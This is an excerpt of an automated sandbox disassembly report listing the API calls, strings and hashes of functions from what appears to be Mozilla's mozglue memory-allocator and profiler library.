GetSystemInfo.KERNEL32(?), ref: 6C50D093
__Init_thread_footer.LIBCMT ref: 6C50D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C55E810,00000040), ref: 6C50D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7B8,00001388), ref: 6C50D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E744,00001388), ref: 6C50D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E784,00001388), ref: 6C50D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7DC,00001388), ref: 6C50D1B1

Strings

MALLOC_OPTIONS, xrefs: 6C50D0CB
Compile-time page size does not divide the runtime one., xrefs: 6C50D26D
: (malloc) Unsupported character in malloc options: ', xrefs: 6C50D322
MOZ_CRASH(), xrefs: 6C50D277
<jemalloc>, xrefs: 6C50D268, 6C50D311

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: a8ae44262fb37e5427d5ebbb1feda53d43522414d63b99af7e61593a6838558a
Instruction ID: ad6426bf259c87df681dd460a3b5fcb575defc0667717e2f4c610bc012407c9b
Opcode Fuzzy Hash: a8ae44262fb37e5427d5ebbb1feda53d43522414d63b99af7e61593a6838558a
Instruction Fuzzy Hash: 7A811370B042419FEB00DF68CD54B697BF4EB46308F96052AE901D7F80EBB9A805CBD9

Function 6C4E7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C4E8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C4E801D

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C4E802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C4E803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C4E808D

Part of subcall function 6C4ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C4ECAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C4E809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C4E80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C4E80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C4E8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C4E8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C4E8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C4E817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E8199

Strings

0>Ql, xrefs: 6C4E811E

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>Ql
API String ID: 2721933968-406761025
Opcode ID: 41c7cd0b2a3ea76db92db0ea6bebf9339b53569ac5702cf29e88fa6a573d73e8
Instruction ID: 89e085a994dafa142ffc40a84774b79003cff7a337f4b896889fff570ef251c0
Opcode Fuzzy Hash: 41c7cd0b2a3ea76db92db0ea6bebf9339b53569ac5702cf29e88fa6a573d73e8
Instruction Fuzzy Hash: C75172B1E002149BDF00DBA9DC84EAFBBB9AF89265F154129E815E7741E730ED05CBA1

Function 6C4E5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5E9D

Part of subcall function 6C4F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B85
Part of subcall function 6C4F5B50: EnterCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B90
Part of subcall function 6C4F5B50: LeaveCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5BD8
Part of subcall function 6C4F5B50: GetTickCount64.KERNEL32 ref: 6C4F5BE4

GetCurrentThreadId.KERNEL32 ref: 6C4E5EAB
GetCurrentThreadId.KERNEL32 ref: 6C4E5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C4E6017

Part of subcall function 6C4D4310: moz_xmalloc.MOZGLUE(00000010,?,6C4D42D2), ref: 6C4D436A
Part of subcall function 6C4D4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4D42D2), ref: 6C4D4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C4E5F47
GetCurrentProcess.KERNEL32 ref: 6C4E5F53
GetCurrentThread.KERNEL32 ref: 6C4E5F5C
GetCurrentProcess.KERNEL32 ref: 6C4E5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C4E5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C4E5F27

Part of subcall function 6C4ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C4ECAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E5E8C

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E60CC

Strings

GeckoMain, xrefs: 6C4E5ECE, 6C4E6015

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: fab43d08a1b839bae9bb051207ebaa0f59e9c69f5fdc3ee2840d921de1797908
Instruction ID: dde8e83f1fcd86cecbf95675bc4b111d03995ff203afee0a47e7edfe99234071
Opcode Fuzzy Hash: fab43d08a1b839bae9bb051207ebaa0f59e9c69f5fdc3ee2840d921de1797908
Instruction Fuzzy Hash: 8E719EB0604740DFD700DF28C880E6ABBF0BF9A305F554A6DE98687B52D771E948CB92

Function 6C4E9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4D31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C4D3217
Part of subcall function 6C4D31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C4D3236
Part of subcall function 6C4D31C0: FreeLibrary.KERNEL32 ref: 6C4D324B
Part of subcall function 6C4D31C0: __Init_thread_footer.LIBCMT ref: 6C4D3260
Part of subcall function 6C4D31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C4D327F
Part of subcall function 6C4D31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4D328E
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4D32AB
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4D32D1
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C4D32E5
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C4D32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C4E9675
__Init_thread_footer.LIBCMT ref: 6C4E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C4E9707
__Init_thread_footer.LIBCMT ref: 6C4E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4E97B7
FreeLibrary.KERNEL32 ref: 6C4E97D0
FreeLibrary.KERNEL32 ref: 6C4E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C4E9670
ntdll.dll, xrefs: 6C4E96E3
NtMapViewOfSection, xrefs: 6C4E9701
MapViewOfFileNuma2, xrefs: 6C4E97B1

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: f3818374af92cfee833505f53ddb692b572c89edf5fd021dd37ac9afc35d3683
Instruction ID: 47ce4f42ec0c078042cb29ecf1f06401fed4c9443e6af6960a62abd1ff9e295d
Opcode Fuzzy Hash: f3818374af92cfee833505f53ddb692b572c89edf5fd021dd37ac9afc35d3683
Instruction Fuzzy Hash: D361E371B00201EFDF00DF69DC88F9A7BB4EB4A316F924229E91693780D731A858CB95

Function 6C536660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C55F618), ref: 6C536694
GetThreadId.KERNEL32(?), ref: 6C5366B1
GetCurrentThreadId.KERNEL32 ref: 6C5366B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C5366E1
EnterCriticalSection.KERNEL32(6C55F618), ref: 6C536734
GetCurrentProcess.KERNEL32 ref: 6C53673A
LeaveCriticalSection.KERNEL32(6C55F618), ref: 6C53676C
GetCurrentThread.KERNEL32 ref: 6C5367FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C536868
RtlCaptureContext.NTDLL ref: 6C53687F

Strings

WalkStack64, xrefs: 6C536890

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 538c07907c586324a2f63a8d37cb20175f8d7096d3b8737add233d5c82d5b250
Instruction ID: 11469bbbd3b68dd6175c17ff3736780095ca8f9000ecd9ad94a2cd8fc4864b30
Opcode Fuzzy Hash: 538c07907c586324a2f63a8d37cb20175f8d7096d3b8737add233d5c82d5b250
Instruction Fuzzy Hash: 5E51CB71A09310AFDB11DF24CC48B5ABBF4BF89714F44492DF99887640EBB0E8088B92

Function 6C51DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51DE73
GetCurrentThreadId.KERNEL32 ref: 6C51DF7D
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51DF8A
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51DFC9
GetCurrentThreadId.KERNEL32 ref: 6C51DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C4E4A68), ref: 6C51DE7B

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C4E4A68), ref: 6C51DEB8
free.MOZGLUE(00000000,?,6C4E4A68), ref: 6C51DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C51DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C51DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C51E00E
<none>, xrefs: 6C51DFD7

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 45a3ca69d39c5f93f90708d31dde6918dbf2ad04fd1dbd4990064904bcb0fbbb
Instruction ID: 256bd6afa5caf229f38b6bfb87e0c8d251b55abe561817ac6a8b1b33e2bbbe54
Opcode Fuzzy Hash: 45a3ca69d39c5f93f90708d31dde6918dbf2ad04fd1dbd4990064904bcb0fbbb
Instruction Fuzzy Hash: 24411335B05210DBEB11AF64DC0CBAABB75EB8230CF850219E90997F41DB719D05CBEA

Function 6C52D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D918
GetCurrentThreadId.KERNEL32 ref: 6C52D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D970
GetCurrentThreadId.KERNEL32 ref: 6C52D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C52DA2E
GetCurrentThreadId.KERNEL32 ref: 6C52DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C52DA91

Part of subcall function 6C4F5C50: GetTickCount64.KERNEL32 ref: 6C4F5D40
Part of subcall function 6C4F5C50: EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52DAB7

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: f4d3d21c9b26f589f5440881eb0881fa4221e0f2151b8c4934cfefdc83a26d75
Instruction ID: 8916d7fd69cbeb8d37a59bf9f06ae8ea45d4a3753c4ad7a5e9a6f24e443f89ba
Opcode Fuzzy Hash: f4d3d21c9b26f589f5440881eb0881fa4221e0f2151b8c4934cfefdc83a26d75
Instruction Fuzzy Hash: 1F71DF35604304DFCB00DF29C888B9ABBF5FF89314F59856EE85A9B341DB34A844CB95

Function 6C52D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D52A
GetCurrentThreadId.KERNEL32 ref: 6C52D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D55F
free.MOZGLUE(00000000), ref: 6C52D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C52D5D3
GetCurrentThreadId.KERNEL32 ref: 6C52D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D652
GetCurrentThreadId.KERNEL32 ref: 6C52D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D6A2

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: e601c92e9fe3f35f134f354ec6b9a79d4e82a6ed650940fe6fc3e3774757ca72
Instruction ID: 69f038ba679c794bb081c930b888cd97b4f0bc76348e35c3014c58d019c7716f
Opcode Fuzzy Hash: e601c92e9fe3f35f134f354ec6b9a79d4e82a6ed650940fe6fc3e3774757ca72
Instruction Fuzzy Hash: CA519A71A04705DFC704DF35C888A9ABBF4FF89318F418A2EE84A87751EB34A845CB95

Function 6C4D1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4D1EC1
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4D1EE1
EnterCriticalSection.KERNEL32(6C55E744), ref: 6C4D1F38
LeaveCriticalSection.KERNEL32(6C55E744), ref: 6C4D1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C4D1F83
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4D1FC0
EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4D1FE2
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4D1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4D2019

Strings

\Ul, xrefs: 6C4D1F3E
MOZ_CRASH(), xrefs: 6C4D2000
DUl, xrefs: 6C4D1F56
DUl, xrefs: 6C4D1F32

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: DUl$DUl$MOZ_CRASH()$\Ul
API String ID: 2055633661-2068375349
Opcode ID: a6914839e1b2a54c82352d206214396283bb29b3b4aaa1781c2957edc58b1ff1
Instruction ID: d366c1acbd2f46e2021185ea03c973e8368adda1a51b709d76b7704d6962875d
Opcode Fuzzy Hash: a6914839e1b2a54c82352d206214396283bb29b3b4aaa1781c2957edc58b1ff1
Instruction Fuzzy Hash: C541D471B043558FDF01EFA8CC98F6A36B5EB4A318F46012AED05D7741DBB5A8048BD6

Function 6C4F5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C4F56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4F56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C4F56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C4F5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C4F57BC
GetTickCount64.KERNEL32 ref: 6C4F58CB
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F58F3
__aulldiv.LIBCMT ref: 6C4F5945
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C55F638,?,?,?,?), ref: 6C4F59E9

Strings

MOZ_APP_RESTART, xrefs: 6C4F56CC

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 59a8252c102372999f75276bb9520fd4b900e7e7d3d9b84e92812bd4e93fdc58
Instruction ID: 1f81bec8ea9434231b4946615ded6c2377a8b8f80fa253094258920f316f5e88
Opcode Fuzzy Hash: 59a8252c102372999f75276bb9520fd4b900e7e7d3d9b84e92812bd4e93fdc58
Instruction Fuzzy Hash: 6FC17E71A097409FD705CF28C840A6ABBF1BFCA714F568B1DE8D497760D730A986CB86

Function 6C51EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51EC8C

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51ECA1
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C51ECC5
